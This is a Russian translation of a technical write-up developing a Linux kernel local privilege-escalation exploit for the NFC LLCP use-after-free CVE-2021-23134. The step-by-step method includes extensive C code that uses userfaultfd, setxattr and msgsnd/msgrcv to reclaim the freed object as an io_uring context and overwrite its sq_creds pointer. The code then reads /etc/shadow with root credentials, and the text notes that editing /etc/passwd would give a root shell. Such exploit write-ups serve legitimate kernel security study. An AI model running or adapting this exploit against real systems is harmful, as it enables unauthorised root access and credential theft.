[Перевод] Экспериментальная разработка эксплойта для Use-After-Free

fh9rpycnsai1nk-z6zr5n6xmizi.png


Пошаговая реализация эксплойта для уязвимости CVE-2021–23134, включая описание используемых для этого инструментов. Это мой первый опыт разработки эксплойта для ядра — так что здесь вы вполне можете заметить некоторые ошибки, за которые я заранее извиняюсь.

Баг


Речь идет об уязвимости Use-After-Free (UAF) в подсистеме NFC ядра Linux (до версии 5.12.4). Однако для ее демонстрации я использую v5.15, откатив патч.

Сконфигурируем сокет Si:

socket(AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP)


Теперь предположим, что привязываем Si к адресу A. Si будет загружен с указателем на объект L типа nfc_llcp_local. Тем не менее, если привязка Si провалится, L будет освобожден, но Si→LSi→L при этом останется определен. Значит, следующее вычисление, разыменовывающее Si→LSi→L, переведет ядро в «странное состояние» (weird state).

static int llcp_sock_bind(struct socket *sock, struct sockaddr *addr, int alen)
{
[...]
	llcp_sock->local = nfc_llcp_local_get(local);
	[...]
	if (!llcp_sock->service_name) {
		nfc_llcp_local_put(llcp_sock->local);
		ret = -ENOMEM;
		goto put_dev;
	}
	llcp_sock->ssap = nfc_llcp_get_sdp_ssap(local, llcp_sock);
	if (llcp_sock->ssap == LLCP_SAP_MAX) {
		nfc_llcp_local_put(llcp_sock->local);
		kfree(llcp_sock->service_name);
		llcp_sock->service_name = NULL;
		ret = -EADDRINUSE;
		goto put_dev;
	}


Этот патч удаляет указатель Si→LSi→L, когда L освобождается при провале привязывания. Дополнительная информация о баге.

nfc_llcp_local_put(llcp_sock->local);
llcp_sock->local = NULL;


Инструкции


io_uring
Ввод-вывод может выполняться синхронно либо асинхронно. В первом случае, когда мы запрашиваем операцию ввода-вывода, то ожидаем ее завершения, после чего уже переходим к очередной задаче. В асинхронном же случае мы можем выполнять прочие задачи параллельно. Предположим, что асинхронный ввод-вывод является расширенным набором синхронных вводов-выводов.

Механизм io_uring реализует асинхронный ввод-вывод. При настройке экземпляра io_uring мы получаем два связанных кольцевых буфера: один для передачи заявок и один для завершений. Каждая передача представляет собой запрос к ядру на выполнение операции ввода-вывода. Завершения же — это объекты, возвращающие статус и данные в ответ на полученный запрос. Мы извлекаем объект из массива очереди заявок, инициализируем его с опкодом и связанными данными, после чего отправляем через системный вызов io_uring_enter.

Можно также настроить экземпляр io_uring с флагом IORING_SETUP_SQPOLL, который позволяет внутреннему потоку ядра опрашивать очередь передачи на предмет присутствия новых заявок. Это сокращает нагрузку на системный вызов, гарантируя постоянное наличие потока ядра, готового к выполнению запросов. Мы воспользуемся этой возможностью, поскольку данный поток загружает свои учетные данные из объекта в куче. Статья LWN.

userfaultfd
Системный вызов, позволяющий пользователю создавать дескриптор файла для реализации пейджинга в пользовательском пространстве. Этот системный вызов мы активно используем для управления кучей путем обработки ошибок защиты, генерируемых в процессе copy_from_user и copy_to_user. Мануал.

msgsnd и msgrcv
Системные вызовы, обеспечивающие межпроцессное взаимодействие в очередях сообщений. Означают отправку сообщения и его получение соответственно. Мануал.

Ошибка страницы


Обычно модуль управления памятью выдает ошибку страницы, когда поток пытается обратиться к адресу виртуальной памяти, еще не связанному с физическим фреймом. В этом случае ядро может разрешить ошибку, создав в таблице страниц новую запись для указанной страницы. Тем не менее в этом более обобщенном контексте мы также подразумеваем общие ошибки защиты, вызванные попытками обратиться к памяти, определенным образом защищенной, то есть записываем в область только для чтения. Дело в том, что userfaultd можно настроить для обработки как ошибок отсутствия страниц, так и ошибок защиты.

Эксплуатация


Допущения


  • Ядро v5.15 с восстановленным багом. Имейте ввиду, что io_ring_ctx нельзя непосредственно использовать в v5.12, так как он получается через kmalloc-4k. Здесь я экспериментирую с v5.15. Но можно получить более безразличный к объему кэша примитив через: a) утечку или угадывание адреса объекта io_ring_ctx, б) встраивание его в список, в последствии «разбираемый» командой kfree, выполняемой для всех его узлов, либо через перезапись указателя в L, который тоже передается в kfree.
  • добавлена sysctl-настройка vm.unprivileged_userfaultfd=1, управляющая возможностью использования системного вызова userfaultfd() непривилегированными процессами
  • привилегия CAP_NET_RAW по умолчанию либо через пользовательские пространства имен.


Стратегия


Стратегия состоит в реализации утечки и перезаписи объекта R типа io_ring_ctx. В результате мы сможем контролировать поле sq_creds этого объекта. Имейте ввиду, что выбор пал на тип R, потому что объекты с типами R и L схожим образом получаются через kmalloc2k.

R→ sq_creds заменяет текущие учетные данные потока SQP (модуль опроса очереди на передачу), когда он выполняет запрос io_uring. Если sq_creds указывает на поле struct cred объекта C, в результате чего параметры uid, gid и прочие этого объекта устанавливаются на 00, тогда поток SQP будет выполнять запросы ввода-вывода, как если бы их совершал корневой пользователь.

Следовательно, можно считывать или записывать файлы на диск, будучи непривилегированным пользователем, отправляя запросы экземпляру io_uring (управляемому подконтрольным нам R). Приводимая здесь демонстрация просто считывает /etc/shadow. Для получения же корневых прав достаточно отредактировать /etc/passwd, чтобы войти в оболочку root.

Компоненты


Используются следующие компоненты и техники:

  1. Три сокета NFC: S1, S2 и S3.
  2. Шесть потоков: main, X, Y, Z, T и H.
  3. msgsnd + msgrcv для перехвата R.
  4. userfaultfd + setxattr для записи в R и обеспечения его неперемещения другим потоком во время и после эксплуатации.


Описание процесса и соглашений


С помощью трех сокетов NFC мы можем трижды освободить L. Тем не менее после каждого освобождения необходимо переписывать локальный заголовок L, чтобы последующее освобождение не вызывало сбоя. Если конкретно, то мы производим запись, устанавливая refcount на 1, чтобы следующее освобождение не установило этот параметр на -1, вызвав предупреждение или сбой процесса. Помимо этого, мы обеспечиваем правильное определение поля list_head объекта L.

С помощью потоков X, Y, Z мы координируем: повторное выделение памяти под L, удерживание L в этой памяти, считывание из L и запись в L. После определенной точки L обозначается как R, поскольку мы перераспределяем тот же объект, который использовался для Si→LSi→L, как R. Цель — показать через нашу логику эксплойта, что L≡RL≡R.

Техника применения setxattr хорошо известна. Она позволяет пользователю выделить память под объект kvalue, чей размер и содержимое определяются пользователем. Она дает нам возможность производить запись с начала объекта ядра. Однако после завершения записи в kvalue из пространства имен, kvalue освобождается.

Техника msgsnd + msgrcv тоже хорошо известна. Вкратце поясню: msgsnd выделяет место под объект msg_msg, который выступает в качестве заголовка, сопровождаемого текстом сообщения, чья длина и содержимое определяются пользователем. Для корректной работы msgrcv поля объекта msg_msg должны оставаться правильно определенными. Получается, что мы не можем делать запись с начала объекта ядра. С другой стороны, msgrcv копирует текст сообщения в пространство пользователя, после чего освобождает объект msg_msg. Длину текста сообщения, а также момент получения и освобождения msg_msg определяет пользователь.

Приостановку потока в момент нахождения объекта в контексте ядра мы реализуем с помощью userfaultfd через setxattr. Подробно эта техника описана здесь. При этом используется она в двух вариантах: в одном ошибка страницы возникает при считывании из адреса в пространстве пользователя, а во второй при записи в него. Соответствуют они инструкциям copy_from_user и copy_to_user. Первая связана с setxattr, а вторая с msgrcv.

Дополнительно скажу о соглашениях. В следующем разделе «разблокирование потока X» обычно означает обработку ошибки страницы, вызванной потоком X в контексте ядра. Поток не способен обработать собственную ошибку страницы, поэтому делегирует это очередному потоку в иерархии. Хотя им не обязательно оказывается следующий за ним, то есть поток Z разблокирует поток main и поток Y, а поток Y разблокирует поток X.

Сталкиваясь с ошибкой страницы setxattr, мы для ее обработки предоставляем подсистеме userfaultfd новый буфер через системный вызов ioctl. Это позволяет произвести запись в kvalue для продолжения с последующим освобождением kvalue (L). Аналогичным образом, обрабатывая ошибку страницы msgrcv, мы снимаем защиту с буфера и продолжаем считывание.

Рекомендую заглянуть в объяснение Виталия Николенко, на которое давалась ссылка выше. Это поможет понять, что в следующем разделе имеется ввиду под «ошибкой страницы в определенном смещении».

Описание метода


1. Сначала мы закрываем S1, освобождая L. Затем выделяем 7 буферов msgsnd, которые отбрасывают остальные выделенные области. Теперь, когда L свободен, можно перераспределить его с помощью setxattr. Значением, которое мы передаем в setxattr, является память, защищенная так, чтобы считывание в определенном смещении приводило к ошибке страницы. С помощью userfaultfd мы регистрируем соответствующий диапазон, чтобы поток X мог перехватить эту ошибку.

Смещение — это размер определенного нами заголовка для типа объекта L. Нам нужно переписать этот заголовок L, чтобы его очередное освобождение (при закрытии S2) не привело к преждевременному сбою. Этот заголовок включает лишь поля list_head и refcount, значение счетчика которых мы установили на 1.

// освобождаем S1->L
close(sock1);

// удаляем остальные выделенные области
do_msgsnd(7);

// mmap страницы, настройка userfaultfd, инициализация потока X
pthread_t thread_x;
pthread_mutex_lock(&lock_x[1]);
char* page_x = create_thread('x', 0, &thread_x, &X);

// перезаписываем refcount для каждой страницы 
struct local* lc_x = setup_localhdr(page_x);

// устанавливаем разрешения страницы
mprot_leaf(page_x, PROT_WRITE & ~(PROT_READ));


2. Далее из потока X мы перехватывает ошибку страницы, возникшую в setxattr потока main. Теперь делаем то же самое, что и в основном потоке, но с одним отличием: регистрируем новый диапазон для нового значения. Нам нужно, чтобы поток Y перехватил очередную ошибку страницы, при этом смещение, в котором она возникает, соответствует struct msg_msg +8. Мы по-прежнему переписываем L собственным заголовком.

for (;;) {
	struct pollfd pollfd;
	pollfd.fd = pa->fd;
	pollfd.events = POLLIN;
	int n = poll(&pollfd, 1, -1);

	if (n) {
		int nread = read(pa->fd, &pa->msg, sizeof(struct uffd_msg));

		// освобождаем S2->L
		close(sock2);

		// настраиваем поток y
		pthread_t thread_y;
		pthread_mutex_lock(&lock_y[1]);
		char* page_y = create_thread('y', 0, &thread_y, &Y);
		struct local* lc_y = (page_y + (PAGESIZE - sizeof(struct msg_msg) + 8));
		lc_y->list.next = lc_y;
		lc_y->list.prev = lc_y;
		lc_y->ref.refcount.refs.counter = 1;

		mprot_leaf(page_y, PROT_WRITE & ~(PROT_READ));

		// повторно выделяем A
		setxattr("/home/guest/", "hiY", lc_y, BUFF_SIZE, XATTR_REPLACE);


3. Теперь из потока Y мы перехватываем предыдущую ошибку страницы, возникшую в setxattr потока X. Однако в этот раз после закрытия S3 и третьего освобождения L мы снова выделяем L через msgsnd. После этого создаем защищенный от записи буфер и регистрируем его с помощью userfaultfd. Наш получатель msg_msg в пространстве пользователя находится в отрицательном смещении относительно этого буфера. Мы передаем адрес объекта msg_msg в msgrcv. Когда msgrcv, в частности store_msg, производит запись из msg_msg в смещение, возникает очередная ошибка страницы. Это Смещение определяется размером заголовка struct msg_msg.

for (;;) {
	struct pollfd pollfd;
	pollfd.fd = pa->fd;
	pollfd.events = POLLIN;
	int n = poll(&pollfd, 1, -1);

	if (n) {
		int nread = read(pa->fd, &pa->msg, sizeof(struct uffd_msg));

		// освобождаем S3->L
		close(sock3);

		// перераспределяем L
		char buf[BUFF_SIZE];
		struct msgbuf* msgb = buf;
		msgb->mtype = 5;
		int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
		msgsnd(msqid, msgb, BUFF_SIZE, 0);

		// подготавливаем поток z
		pthread_t thread_z;
		pthread_mutex_lock(&lock_z[1]);
		char* page_z = create_thread('z', 0, &thread_z, &Z);
		Z.page = page_z;
		long* mhdr = setup_mhdr(page_z);

		struct uffdio_writeprotect uffd_wp = {
			.mode = UFFDIO_WRITEPROTECT_MODE_WP,
			.range = {
				.start = ((long)page_z) + PAGESIZE,
				.len = PAGESIZE
			}
		};
		ioctl(Z.fd, UFFDIO_WRITEPROTECT, &uffd_wp);

		// Подготовка к передаче msgrcv и ошибке страницы в msg->mtext
		msgrcv(msqid, mhdr, BUFF_SIZE, 5, 0);


В этот момент main встает на паузу, чтобы удержать L на месте. Позднее мы его разблокируем, обработав ошибку страницы, полученную от setxattr в main — это освободит L для перераспределения под R. Помимо этого, Y приостанавливается для удержания на месте L. Продолжение Y приведет к передаче данных в L (в тот момент уже R) в пространстве пользователя, после чего Y активирует поток X, разрешив ошибку страницы setxattr, возникшую из X. В завершении X приостанавливается и продолжит запись в L (R), когда Y разрешит ошибку страницы X.

4. Из потока Z мы перехватываем ошибку страницы, возникшую в msgrcv, выполняемой Y. Теперь X разблокирует main, обработав его ошибку страницы. Это продолжит выполнение записи setxattr поверх L, приводя к освобождению L в четвертый раз. После мы выделяем память под объект io_ring_ctx с помощью системного вызова io_uring_setup, в результате чего L≡RL≡R.

Наконец, Z пытается получить блокировку, которая в случае успеха приведет к созданию нового потока T, снова выделяющего память под R с setxattr. Тем не менее в этот момент блокировку держит поток Y, в связи с чем Z приостанавливается и ждет своей очереди на ее получение.

for (;;) {
	struct pollfd pollfd;
	pollfd.fd = pa->fd;
	pollfd.events = POLLIN;
	int n = poll(&pollfd, 1, -1);

	if (n) {
		int nread = read(pa->fd, &pa->msg, sizeof(struct uffd_msg));

		if (pa->msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP) {

			// Разблокирование main 
			char buf[BUFF_SIZE];
			struct uffdio_copy uffdio_copy_x;
			uffdio_copy_x.src = buf;
			uffdio_copy_x.dst = (unsigned long)X.msg.arg.pagefault.address;
			uffdio_copy_x.len = PAGESIZE;
			uffdio_copy_x.mode = 0;
			uffdio_copy_x.copy = 0;
			ioctl(X.fd, UFFDIO_COPY, &uffdio_copy_x);

			// Перераспределение L как R
			io_uring_queue_init(8, &ring, IORING_SETUP_SQPOLL);


Здесь начинаются три основных фазы эксплойта.

5. Поток Z разблокирует поток Y путем обработки защищенной от записи ошибки страницы. Это приводит к копированию R в пространство пользователя, в результате чего R также освобождается. Итак, мы снимаем блокировку, обеспечивая продолжение Z. Продолжив выполнение, Z использует setxattr со значением, которое при считывании приводит к ошибке страницы в первом байте. Поток T перехватывает это ошибку, но не обрабатывает ее. В итоге R оказывается недоступен для перераспределения другим потоком и потенциального повреждения.

// продолжаем copy_to_user() в потоке Y
struct uffdio_writeprotect uffd_wp = {
	.mode = 0,
	.range = {
		.start = ((long)Z.page + PAGESIZE),
		.len = PAGESIZE
	}
};
ioctl(Z.fd, UFFDIO_WRITEPROTECT, &uffd_wp);
pthread_mutex_lock(&lock_z[1]);

// удерживаем R бесконечно
pthread_t thread_t;
pthread_mutex_lock(&lock_t[1]);
char* page_t = create_thread('t', 0, &thread_t, &T);
mprot_leaf(page_t, PROT_WRITE & ~(PROT_READ));
setxattr("/home/guest/", "hiT", page_t + PAGESIZE, BUFF_SIZE, XATTR_REPLACE);

pthread_join(thread_t, NULL);


После получения данных R мы выделяем под текущий R→ sq_creds память в буфере пространства пользователя в смещении 78 (с размерностью sizeof(uint64)). После считывания утекшего sq_creds мы вычитаем из его адреса 176. Цель — сделать так, чтобы точка R→ sq_creds оказалась «позади» текущего объекта struct cred.

После мы записываем это новое значение обратно в буфер пространства пользователя. В завершении мы разблокируем поток X, обрабатывая ошибку страницы, полученную от setxattr. Он записывает буфер пространства пользователя в R, сохраняя все поля, кроме sq_creds, с которым мы поработали. В результате мы также освобождаем R. Теперь мы вновь используем setxattr и перехватываем ошибку страницы в H аналогично тому, как делали это в T.

pthread_mutex_unlock(&lock_z[1]);

// патчим sq_creds для повышения привилегий
mhdr[78] -= CREDS_SZ;

// продолжаем запись поверх R
struct uffdio_copy uffdio_copy;
uffdio_copy.src = mhdr;
uffdio_copy.dst = (unsigned long)pa->msg.arg.pagefault.address;
uffdio_copy.len = PAGESIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
ioctl(pa->fd, UFFDIO_COPY, &uffdio_copy);

// в завершении снова удерживаем R, чтобы его никто не повредил

pthread_t thread_h;
pthread_mutex_lock(&lock_h[0]);
pthread_mutex_lock(&lock_h[1]);
char* page_h = create_thread('h', 0, &thread_h, &H);
mprot_leaf(page_h, PROT_WRITE & ~(PROT_READ));
pthread_mutex_unlock(&lock_h[0]);
setxattr("/home/guest/", "hiH", page_h + PAGESIZE, BUFF_SIZE, XATTR_REPLACE);


Наконец, из потока T мы получаем дескриптор файла для каталога /etc/, напрямую используя open. Затем мы отправляем в экземпляр io_uring запрос openat. После получения записи из очереди завершений мы имеем файловый дескриптор для /etc/shadow. Далее мы отправляем запрос, который копирует содержимое /etc/shadow в буфер пространства пользователя.

for (;;) {
	struct pollfd pollfd;
	pollfd.fd = pa->fd;
	pollfd.events = POLLIN;
	int n = poll(&pollfd, 1, -1);

	if (n) {
		int rfd = open("/etc/", O_RDONLY);
		char* fname = "shadow";

		struct io_uring_sqe* sqe;
		sqe = io_uring_get_sqe(&ring);

		char str[BUFF_SIZE];
		io_uring_prep_openat(sqe, rfd, fname, O_RDONLY, S_IRUSR);
		io_uring_submit(&ring);

		struct io_uring_cqe* cqe;
		io_uring_wait_cqe(&ring, &cqe);
		printf("got cqe %d\n", cqe->res);
		io_uring_cqe_seen(&ring, cqe);

		sqe = io_uring_get_sqe(&ring);
		io_uring_prep_read(sqe, cqe->res, str, BUFF_SIZE, 1);

		io_uring_submit(&ring);

		io_uring_wait_cqe(&ring, &cqe);
		printf("got cqe %d\n", cqe->res);

		printf("%s", str);

		io_uring_queue_exit(&ring);

		// бесконечная пауза
		printf("beginning cleanup routine\n");
		pthread_mutex_lock(&lock_h[1]);
	}
}


И получаем конечный результат:

fqn2likfpsq_bz9i_oi0uusfnj0.png

Весь код здесь.

oug5kh6sjydt9llengsiebnp40w.png

© Habrahabr.ru